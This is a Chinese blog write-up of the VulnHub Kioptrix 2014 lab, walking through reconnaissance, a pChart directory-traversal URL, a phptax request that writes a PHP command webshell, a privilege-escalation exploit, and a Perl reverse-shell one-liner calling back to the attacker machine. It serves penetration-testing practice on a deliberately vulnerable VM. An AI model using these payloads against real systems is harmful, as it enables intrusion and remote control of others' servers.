KIOPTRIX: LEVEL 1.4-VulnHub靶机学习第六篇

最新推荐文章于 2024-07-06 07:51:21 发布

迷の泰坦

最新推荐文章于 2024-07-06 07:51:21 发布

阅读量1.1k

点赞数

分类专栏： VnlnHub学习之旅文章标签：安全 web安全 kali 系统安全

本文链接：https://blog.csdn.net/qq_27466929/article/details/126859357

版权

VnlnHub学习之旅专栏收录该内容

8 篇文章 0 订阅

订阅专栏

写在前面：前人栽树后人乘凉，谢谢网上各位大佬的解题思路作为参考学习；这是kioptrix系列最后一篇咯~

一、实验准备

1、实验地址：Kioptrix: 2014 (#5) ~ VulnHub

2、下载之后，本地解压，用VMware运行该虚拟机；

3、设置Kioptrix Level 1.4与攻击机网络环境，保证在同一局域网；

4、本实验攻击机使用的是Kali Linux；攻击机IP地址：10.10.10.131

二、情报收集

1、主机&端口&服务扫描；

~~- Apache version 2.2.21~~

┌──(root💀kali)-[~]
└─# nmap -sP 10.10.10.0/24
Nmap scan report for 10.10.10.151 (10.10.10.151)
Host is up (0.00026s latency).
MAC Address: 00:0C:29:3C:66:82 (VMware)

┌──(root💀kali)-[~]
└─# nmap -sV -p1-65535 10.10.10.151
PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:0C:29:3C:66:82 (VMware)

2、访问80端口

- view source；

- dirsearch目录扫描；

┌──(root💀kali)-[~]
└─# dirsearch -u "http://10.10.10.151/pChart2.1.3" -e php
[08:34:44] 200 -   12KB - /pChart2.1.3/readme.txt    # --> 确认pChart应用版本2.1.3；
# 根目录扫描无可用信息；

- 搜索pChart2.1.3漏洞；得到目录穿越&XSS漏洞；

┌──(root💀kali)-[~]
└─# searchsploit pchart     
-----------------------------------------------------------------------
Exploit Title                                  |  Path                                                                                                                         
-----------------------------------------------------------------------
pChart 2.1.3 - Multiple Vulnerabilities        | php/webapps/31173.txt                                                                                        
-----------------------------------------------------------------------
┌──(root💀kali)-[~]
└─# locate php/webapps/31173.txt 
/usr/share/exploitdb/exploits/php/webapps/31173.txt
┌──(root💀kali)-[~]
└─# cat /usr/share/exploitdb/exploits/php/webapps/31173.txt

3、访问8080端口；~~没有权限；先尝试利用目录穿越突破80端口；~~

三、渗透测试：STEP1

1、尝试突破80端口，获取有效信息；

- 系统版本FreeBSD 9.0

- 只能读取准确路径下的文件，通过网络搜索引擎可知，FreeBSD系统下httpd.conf的保存路径为：/usr/local/etc/apache版本号/httpd.conf，但此前获得的21版本无效，后续尝试目录爆破；

2、利用pChart2.1.3漏洞读取httpd.conf文件；

- 访问http://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/

local/etc/apache22/httpd.conf，获得如下信息：访问8080端口，需要更改User-Agent头；

3、访问8080端口，收集情报；

- 获得另外一个应用phptax，先尝试漏洞搜索；

- 21833.rb尝试过了，大概是因为EXP源码中没有User-Agent头部的原因，没有利用成功，又不会自己编写EXP，只能放弃；

- 25849.txt提供了一个木马写入的shell：

32: fwrite fwrite($zz, "$_GET['newvalue']");
#LINE 31: $zz = fopen("./data/$field", "w");
#LINE  2: $field = $_GET['field'];
# 文件被写入当前目录下的data文件夹中；

$shell = "{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E";
# passthru()函数可以直接在浏览器返回命令执行结果；

- 21665.txt提供了命令执行的参数，但是攻击机的nc监听不上，所以暂时放弃；有大佬知道的话希望不吝赐教；

四、渗透测试：STEP二

1、上传shell

- 综上所述，我们尝试25849.txt中的方法，上传木马然后getshell；

- antsword连接的时候记得添加User-Agent头，连接之后没有明显的提示文件；

2、上传EXP提权

~~方案一：直接使用antsword提权；~~

- gcc 28718.c -o 28718

- 虽然提权成功，但是需要退出终端重新打开才能获取root权限，可以less读取/root/congrats.txt

--------------------------------------------------------------------------------------------------------------------------------

方案二：无意间在github发现了一个EXP，附链接；

- GitHub - NHPT/phptaxExploit

- 开启监听端口；nc -lvnp 23235

- 该EXP通过perl反弹shell，使用时，记得URL编码，如下：

perl -e 'use Socket;$i="10.10.10.131";$p=23235;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

- 效果如图所示；